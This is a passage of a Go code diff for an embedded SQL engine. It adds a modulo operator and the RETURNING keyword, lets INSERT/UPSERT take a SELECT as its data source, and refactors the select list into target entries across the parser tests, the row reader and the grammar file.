&Integer{val: nl * nr}, nil @@ -110,6 +121,14 @@ func applyNumOperatorFloat64(op NumOperator, vl, vr TypedValue) (TypedValue, err return &Float64{val: nl / nr}, nil } + case MODOP: + { + if nr == 0 { + return nil, ErrDivisionByZero + } + + return &Float64{val: math.Mod(nl, nr)}, nil + } case MULTOP: { return &Float64{val: nl * nr}, nil diff --git a/embedded/sql/num_operator_test.go b/embedded/sql/num_operator_test.go index 1635b53e02..784b6d2e89 100644 --- a/embedded/sql/num_operator_test.go +++ b/embedded/sql/num_operator_test.go @@ -18,6 +18,7 @@ package sql import ( "fmt" + "math" "testing" "github.com/stretchr/testify/require" @@ -47,6 +48,11 @@ func TestNumOperator(t *testing.T) { {DIVOP, &Float64{val: 10}, &Integer{val: 3}, float64(10.0 / 3.0)}, {DIVOP, &Float64{val: 10}, &Float64{val: 3}, float64(10.0 / 3.0)}, + {MODOP, &Integer{val: 10}, &Integer{val: 3}, int64(1)}, + {MODOP, &Integer{val: 10}, &Float64{val: 3}, float64(1)}, + {MODOP, &Float64{val: 10}, &Integer{val: 3}, float64(1)}, + {MODOP, &Float64{val: 10.5}, &Float64{val: 3.2}, math.Mod(10.5, 3.2)}, + {MULTOP, &Integer{val: 10}, &Integer{val: 3}, int64(30)}, {MULTOP, &Float64{val: 10}, &Integer{val: 3}, float64(30)}, {MULTOP, &Integer{val: 10}, &Float64{val: 3}, float64(30)}, diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 14c0923e9b..9d26227be2 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -55,6 +55,7 @@ var reservedWords = map[string]int{ "CONFLICT": CONFLICT, "DO": DO, "NOTHING": NOTHING, + "RETURNING": RETURNING, "UPSERT": UPSERT, "INTO": INTO, "VALUES": VALUES, diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 55b8b3da03..36b2455a01 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -464,16 +464,17 @@ func TestInsertIntoStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, - rows: []*RowSpec{ - {Values: []ValueExp{ - &Integer{val: 2}, - &FnCall{fn: "now"}, - &Varchar{val: "un'titled row"}, - &Bool{val: true}, - &Bool{val: false}, - &Blob{val: decodedBLOB}, - &Param{id: "param1"}, - }, + ds: &valuesDataSource{ + rows: []*RowSpec{{ + Values: []ValueExp{ + &Integer{val: 2}, + &FnCall{fn: "now"}, + &Varchar{val: "un'titled row"}, + &Bool{val: true}, + &Bool{val: false}, + &Blob{val: decodedBLOB}, + &Param{id: "param1"}, + }}, }, }, }, @@ -486,16 +487,17 @@ func TestInsertIntoStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, - rows: []*RowSpec{ - {Values: []ValueExp{ - &Integer{val: 2}, - &FnCall{fn: "now"}, - &Varchar{val: ""}, - &Bool{val: true}, - &Bool{val: false}, - &Blob{val: decodedBLOB}, - &Param{id: "param1"}, - }, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{ + &Integer{val: 2}, + &FnCall{fn: "now"}, + &Varchar{val: ""}, + &Bool{val: true}, + &Bool{val: false}, + &Blob{val: decodedBLOB}, + &Param{id: "param1"}, + }}, }, }, }, @@ -508,17 +510,17 @@ func TestInsertIntoStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, - rows: []*RowSpec{ - {Values: []ValueExp{ - &Integer{val: 2}, - &FnCall{fn: "now"}, - &Varchar{val: "'"}, - &Bool{val: true}, - &Bool{val: false}, - &Blob{val: decodedBLOB}, - &Param{id: "param1"}, - }, - }, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{ + &Integer{val: 2}, + &FnCall{fn: "now"}, + &Varchar{val: "'"}, + &Bool{val: true}, + &Bool{val: false}, + &Blob{val: decodedBLOB}, + &Param{id: "param1"}, + }}}, }, }, }, @@ -530,16 +532,17 @@ func TestInsertIntoStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, - rows: []*RowSpec{ - {Values: []ValueExp{ - &Integer{val: 2}, - &FnCall{fn: "now"}, - &Varchar{val: "untitled row"}, - &Bool{val: true}, - &Param{id: "param1", pos: 1}, - &Blob{val: decodedBLOB}, - &Param{id: "param2", pos: 2}, - }, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{ + &Integer{val: 2}, + &FnCall{fn: "now"}, + &Varchar{val: "untitled row"}, + &Bool{val: true}, + &Param{id: "param1", pos: 1}, + &Blob{val: decodedBLOB}, + &Param{id: "param2", pos: 2}, + }}, }, }, }, @@ -552,16 +555,18 @@ func TestInsertIntoStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, - rows: []*RowSpec{ - {Values: []ValueExp{ - &Integer{val: 2}, - &FnCall{fn: "now"}, - &Param{id: "param1", pos: 1}, - &Bool{val: true}, - &Param{id: "param2", pos: 2}, - &Blob{val: decodedBLOB}, - &Param{id: "param1", pos: 1}, - }, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{ + &Integer{val: 2}, + &FnCall{fn: "now"}, + &Param{id: "param1", pos: 1}, + &Bool{val: true}, + &Param{id: "param2", pos: 2}, + &Blob{val: decodedBLOB}, + &Param{id: "param1", pos: 1}, + }, + }, }, }, }, @@ -614,10 +619,50 @@ func TestInsertIntoStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "active"}, - rows: []*RowSpec{ - {Values: []ValueExp{&Integer{val: 1}, &Bool{val: false}}}, - {Values: []ValueExp{&Integer{val: 2}, &Bool{val: true}}}, - {Values: []ValueExp{&Integer{val: 3}, &Bool{val: true}}}, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{&Integer{val: 1}, &Bool{val: false}}}, + {Values: []ValueExp{&Integer{val: 2}, &Bool{val: true}}}, + {Values: []ValueExp{&Integer{val: 3}, &Bool{val: true}}}, + }, + }, + }, + }, + expectedError: nil, + }, + { + input: "INSERT INTO table1(id, active) SELECT * FROM my_table", + expectedOutput: []SQLStmt{ + &UpsertIntoStmt{ + isInsert: true, + tableRef: &tableRef{table: "table1"}, + cols: []string{"id", "active"}, + ds: &SelectStmt{ + ds: &tableRef{ + table: "my_table", + }, + targets: nil, + }, + }, + }, + expectedError: nil, + }, + { + input: "UPSERT INTO table1(id, active) SELECT * FROM my_table WHERE balance >= 0 AND deleted_at IS NULL", + expectedOutput: []SQLStmt{ + &UpsertIntoStmt{ + tableRef: &tableRef{table: "table1"}, + cols: []string{"id", "active"}, + ds: &SelectStmt{ + ds: &tableRef{ + table: "my_table", + }, + targets: nil, + where: &BinBoolExp{ + op: AND, + left: &CmpBoolExp{op: GE, left: &ColSelector{col: "balance"}, right: &Integer{val: 0}}, + right: &CmpBoolExp{op: EQ, left: &ColSelector{col: "deleted_at"}, right: &NullValue{t: AnyType}}, + }, }, }, }, @@ -745,15 +790,19 @@ func TestTxStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, - rows: []*RowSpec{ - {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, + }, }, }, &UpsertIntoStmt{ tableRef: &tableRef{table: "table2"}, cols: []string{"id"}, - rows: []*RowSpec{ - {Values: []ValueExp{&Integer{val: 10}}}, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{&Integer{val: 10}}}, + }, }, }, &RollbackStmt{}, @@ -775,8 +824,10 @@ func TestTxStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, - rows: []*RowSpec{ - {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, + }, }, }, &CommitStmt{}, @@ -817,8 +868,10 @@ func TestTxStmt(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, - rows: []*RowSpec{ - {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, + }, }, }, &CommitStmt{}, @@ -850,9 +903,9 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1"}, }}, @@ -863,9 +916,9 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, }}, @@ -876,9 +929,9 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{table: "t1", col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{table: "t1", col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, }}, @@ -889,9 +942,9 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{table: "table1", col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{table: "table1", col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, where: &CmpBoolExp{ @@ -909,9 +962,9 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{table: "table1", col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{table: "table1", col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, where: &CmpBoolExp{ @@ -929,9 +982,9 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{table: "table1", col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{table: "table1", col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, where: &CmpBoolExp{ @@ -949,10 +1002,10 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: true, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "time"}, - &ColSelector{col: "name"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "time"}}, + {Exp: &ColSelector{col: "name"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ @@ -990,10 +1043,10 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "title"}, - &ColSelector{col: "year"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "title"}}, + {Exp: &ColSelector{col: "year"}}, }, ds: &tableRef{table: "table1"}, orderBy: []*OrdCol{ @@ -1008,10 +1061,10 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "name"}, - &ColSelector{table: "table2", col: "status"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "name"}}, + {Exp: &ColSelector{table: "table2", col: "status"}}, }, ds: &tableRef{table: "table1"}, joins: []*JoinSpec{ @@ -1047,10 +1100,10 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "name"}, - &ColSelector{table: "table2", col: "status"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "name"}}, + {Exp: &ColSelector{table: "table2", col: "status"}}, }, ds: &tableRef{table: "table1"}, joins: []*JoinSpec{ @@ -1086,10 +1139,10 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "name"}, - &ColSelector{table: "table2", col: "status"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "name"}}, + {Exp: &ColSelector{table: "table2", col: "status"}}, }, ds: &tableRef{table: "table1"}, joins: []*JoinSpec{ @@ -1125,15 +1178,15 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "col1", as: "id"}, - &ColSelector{col: "col2", as: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "col1"}, As: "id"}, + {Exp: &ColSelector{col: "col2"}, As: "title"}, }, ds: &tableRef{table: "table2"}, limit: &Integer{val: 100}, @@ -1148,10 +1201,10 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "name"}, - &ColSelector{col: "time"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "name"}}, + {Exp: &ColSelector{col: "time"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ @@ -1179,10 +1232,49 @@ func TestSelectStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &JSONSelector{ - ColSelector: &ColSelector{col: "json_data"}, - fields: []string{"info", "address", "street"}, + targets: []TargetEntry{ + { + Exp: &JSONSelector{ + ColSelector: &ColSelector{col: "json_data"}, + fields: []string{"info", "address", "street"}, + }, + }, + }, + ds: &tableRef{table: "table1"}, + }}, + expectedError: nil, + }, + { + input: "SELECT 1, (balance * balance) + 1, amount % 2, data::JSON FROM table1", + expectedOutput: []SQLStmt{ + &SelectStmt{ + distinct: false, + targets: []TargetEntry{ + { + Exp: &Integer{ + val: int64(1), + }, + }, + { + Exp: &NumExp{ + op: ADDOP, + left: &NumExp{ + op: MULTOP, + left: &ColSelector{col: "balance"}, + right: &ColSelector{col: "balance"}, + }, + right: &Integer{val: int64(1)}, + }, + }, + { + Exp: &NumExp{ + op: MODOP, + left: &ColSelector{col: "amount"}, + right: &Integer{val: int64(2)}, + }, + }, + { + Exp: &Cast{val: &ColSelector{col: "data"}, t: JSONType}, }, }, ds: &tableRef{table: "table1"}, @@ -1214,17 +1306,17 @@ func TestSelectUnionStmt(t *testing.T) { distinct: true, left: &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1"}, }, right: &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "title"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1"}, }}, @@ -1254,8 +1346,8 @@ func TestAggFnStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &AggColSelector{aggFn: COUNT, col: "*"}, + targets: []TargetEntry{ + {Exp: &AggColSelector{aggFn: COUNT, col: "*"}}, }, ds: &tableRef{table: "table1"}, }}, @@ -1266,9 +1358,9 @@ func TestAggFnStmt(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "country"}, - &AggColSelector{aggFn: SUM, col: "amount"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "country"}}, + {Exp: &AggColSelector{aggFn: SUM, col: "amount"}}, }, ds: &tableRef{table: "table1"}, groupBy: []*ColSelector{ @@ -1305,8 +1397,8 @@ func TestExpressions(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &CmpBoolExp{ @@ -1324,8 +1416,8 @@ func TestExpressions(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ @@ -1355,8 +1447,8 @@ func TestExpressions(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &NotBoolExp{ @@ -1386,8 +1478,8 @@ func TestExpressions(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ @@ -1405,8 +1497,8 @@ func TestExpressions(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ @@ -1437,8 +1529,8 @@ func TestExpressions(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &LikeBoolExp{ @@ -1456,8 +1548,8 @@ func TestExpressions(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &LikeBoolExp{ @@ -1475,8 +1567,8 @@ func TestExpressions(t *testing.T) { expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ @@ -1516,14 +1608,14 @@ func TestExpressions(t *testing.T) { input: "SELECT id FROM clients WHERE EXISTS (SELECT id FROM orders WHERE clients.id = orders.id_client)", expectedOutput: []SQLStmt{ &SelectStmt{ - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "clients"}, where: &ExistsBoolExp{ q: &SelectStmt{ - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "orders"}, where: &CmpBoolExp{ @@ -1546,8 +1638,8 @@ func TestExpressions(t *testing.T) { input: "SELECT id FROM clients WHERE deleted_at IS NULL", expectedOutput: []SQLStmt{ &SelectStmt{ - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "clients"}, where: &CmpBoolExp{ @@ -1566,8 +1658,8 @@ func TestExpressions(t *testing.T) { input: "SELECT id FROM clients WHERE deleted_at IS NOT NULL", expectedOutput: []SQLStmt{ &SelectStmt{ - selectors: []Selector{ - &ColSelector{col: "id"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "clients"}, where: &CmpBoolExp{ @@ -1638,24 +1730,28 @@ func TestMultiLineStmts(t *testing.T) { &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, - rows: []*RowSpec{ - {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, + }, }, }, &UpsertIntoStmt{ tableRef: &tableRef{table: "table2"}, cols: []string{"id"}, - rows: []*RowSpec{ - {Values: []ValueExp{&Integer{val: 10}}}, + ds: &valuesDataSource{ + rows: []*RowSpec{ + {Values: []ValueExp{&Integer{val: 10}}}, + }, }, }, &CommitStmt{}, &SelectStmt{ distinct: false, - selectors: []Selector{ - &ColSelector{col: "id"}, - &ColSelector{col: "name"}, - &ColSelector{col: "time"}, + targets: []TargetEntry{ + {Exp: &ColSelector{col: "id"}}, + {Exp: &ColSelector{col: "name"}}, + {Exp: &ColSelector{col: "time"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ @@ -1719,9 +1815,11 @@ func TestFloatCornerCases(t *testing.T) { table: "t1", }, cols: []string{"v"}, - rows: []*RowSpec{{ - Values: []ValueExp{d.v}, - }}, + ds: &valuesDataSource{ + rows: []*RowSpec{{ + Values: []ValueExp{d.v}, + }}, + }, }, }, stmt) } @@ -1794,7 +1892,7 @@ func TestGrantRevokeStmt(t *testing.T) { func TestExprString(t *testing.T) { exps := []string{ - "(1 + 1) / (2 * 5 - 10)", + "(1 + 1) / (2 * 5 - 10) % 2", "@param LIKE 'pattern'", "((col1 AND (col2 < 10)) OR (@param = 3 AND (col4 = TRUE))) AND NOT (col5 = 'value' OR (2 + 2 != 4))", "CAST (func_call(1, 'two', 2.5) AS TIMESTAMP)", diff --git a/embedded/sql/proj_row_reader.go b/embedded/sql/proj_row_reader.go index c56fa24ffe..dda316fa36 100644 --- a/embedded/sql/proj_row_reader.go +++ b/embedded/sql/proj_row_reader.go @@ -25,30 +25,31 @@ type projectedRowReader struct { rowReader RowReader tableAlias string - selectors []Selector + targets []TargetEntry } -func newProjectedRowReader(ctx context.Context, rowReader RowReader, tableAlias string, selectors []Selector) (*projectedRowReader, error) { +func newProjectedRowReader(ctx context.Context, rowReader RowReader, tableAlias string, targets []TargetEntry) (*projectedRowReader, error) { // case: SELECT * - if len(selectors) == 0 { + if len(targets) == 0 { cols, err := rowReader.Columns(ctx) if err != nil { return nil, err } for _, col := range cols { - sel := &ColSelector{ - table: col.Table, - col: col.Column, - } - selectors = append(selectors, sel) + targets = append(targets, TargetEntry{ + Exp: &ColSelector{ + table: col.Table, + col: col.Column, + }, + }) } } return &projectedRowReader{ rowReader: rowReader, tableAlias: tableAlias, - selectors: selectors, + targets: targets, }, nil } @@ -82,38 +83,33 @@ func (pr *projectedRowReader) Columns(ctx context.Context) ([]ColDescriptor, err return nil, err } - colsByPos := make([]ColDescriptor, len(pr.selectors)) + colsByPos := make([]ColDescriptor, len(pr.targets)) - for i, sel := range pr.selectors { - aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) + for i, t := range pr.targets { + var aggFn, table, col string = "", pr.rowReader.TableAlias(), "" + if s, ok := t.Exp.(Selector); ok { + aggFn, table, col = s.resolve(pr.rowReader.TableAlias()) + } if pr.tableAlias != "" { table = pr.tableAlias } - if aggFn == "" && sel.alias() != "" { - col = sel.alias() - } - - if aggFn != "" { - aggFn = "" - col = sel.alias() - if col == "" { - col = fmt.Sprintf("col%d", i) - } + if t.As != "" { + col = t.As + } else if aggFn != "" || col == "" { + col = fmt.Sprintf("col%d", i) } + aggFn = "" colsByPos[i] = ColDescriptor{ AggFn: aggFn, Table: table, Column: col, } - encSel := colsByPos[i].Selector() - colsByPos[i].Type = colsBySel[encSel].Type } - return colsByPos, nil } @@ -123,13 +119,16 @@ func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]Co return nil, err } - colDescriptors := make(map[string]ColDescriptor, len(pr.selectors)) + colDescriptors := make(map[string]ColDescriptor, len(pr.targets)) emptyParams := make(map[string]string) - for i, sel := range pr.selectors { - aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) + for i, t := range pr.targets { + var aggFn, table, col string = "", pr.rowReader.TableAlias(), "" + if s, ok := t.Exp.(Selector); ok { + aggFn, table, col = s.resolve(pr.rowReader.TableAlias()) + } - sqlType, err := sel.inferType(dsColDescriptors, emptyParams, pr.rowReader.TableAlias()) + sqlType, err := t.Exp.inferType(dsColDescriptors, emptyParams, pr.rowReader.TableAlias()) if err != nil { return nil, err } @@ -138,17 +137,12 @@ func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]Co table = pr.tableAlias } - if aggFn == "" && sel.alias() != "" { - col = sel.alias() - } - - if aggFn != "" { - aggFn = "" - col = sel.alias() - if col == "" { - col = fmt.Sprintf("col%d", i) - } + if t.As != "" { + col = t.As + } else if aggFn != "" || col == "" { + col = fmt.Sprintf("col%d", i) } + aggFn = "" des := ColDescriptor{ AggFn: aggFn, @@ -156,15 +150,28 @@ func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]Co Column: col, Type: sqlType, } - colDescriptors[des.Selector()] = des } - return colDescriptors, nil } func (pr *projectedRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { - return pr.rowReader.InferParameters(ctx, params) + if err := pr.rowReader.InferParameters(ctx, params); err != nil { + return err + } + + cols, err := pr.rowReader.colsBySelector(ctx) + if err != nil { + return err + } + + for _, ex := range pr.targets { + _, err = ex.Exp.inferType(cols, params, pr.TableAlias()) + if err != nil { + return err + } + } + return nil } func (pr *projectedRowReader) Parameters() map[string]interface{} { @@ -178,35 +185,33 @@ func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { } prow := &Row{ - ValuesByPosition: make([]TypedValue, len(pr.selectors)), - ValuesBySelector: make(map[string]TypedValue, len(pr.selectors)), + ValuesByPosition: make([]TypedValue, len(pr.targets)), + ValuesBySelector: make(map[string]TypedValue, len(pr.targets)), } - for i, sel := range pr.selectors { - v, err := sel.reduce(pr.Tx(), row, pr.rowReader.TableAlias()) + for i, t := range pr.targets { + v, err := t.Exp.reduce(pr.Tx(), row, pr.rowReader.TableAlias()) if err != nil { return nil, err } - aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) - if pr.tableAlias != "" { - table = pr.tableAlias + var aggFn, table, col string = "", pr.rowReader.TableAlias(), "" + if s, ok := t.Exp.(Selector); ok { + aggFn, table, col = s.resolve(pr.rowReader.TableAlias()) } - if aggFn == "" && sel.alias() != "" { - col = sel.alias() + if pr.tableAlias != "" { + table = pr.tableAlias } - if aggFn != "" { - aggFn = "" - col = sel.alias() - if col == "" { - col = fmt.Sprintf("col%d", i) - } + if t.As != "" { + col = t.As + } else if aggFn != "" || col == "" { + col = fmt.Sprintf("col%d", i) } prow.ValuesByPosition[i] = v - prow.ValuesBySelector[EncodeSelector(aggFn, table, col)] = v + prow.ValuesBySelector[EncodeSelector("", table, col)] = v } return prow, nil } diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 60e7a14a80..f31bb1e026 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -46,7 +46,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { ids []string col *ColSelector sel Selector - sels []Selector + targets []TargetEntry jsonFields []string distinct bool ds DataSource @@ -77,7 +77,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %token CREATE DROP USE DATABASE USER WITH PASSWORD READ READWRITE ADMIN SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP %token TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN CONSTRAINT PRIMARY KEY CHECK GRANT REVOKE GRANTS FOR PRIVILEGES %token BEGIN TRANSACTION COMMIT ROLLBACK -%token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING +%token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING RETURNING %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL %token NOT LIKE IF EXISTS IN IS %token AUTO_INCREMENT NULL CAST SCAST @@ -106,7 +106,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %right NOT %left CMPOP %left '+' '-' -%left '*' '/' +%left '*' '/' '%' %left '.' %right STMT_SEPARATOR %left IS @@ -122,11 +122,10 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type values opt_values %type val fnCall %type selector 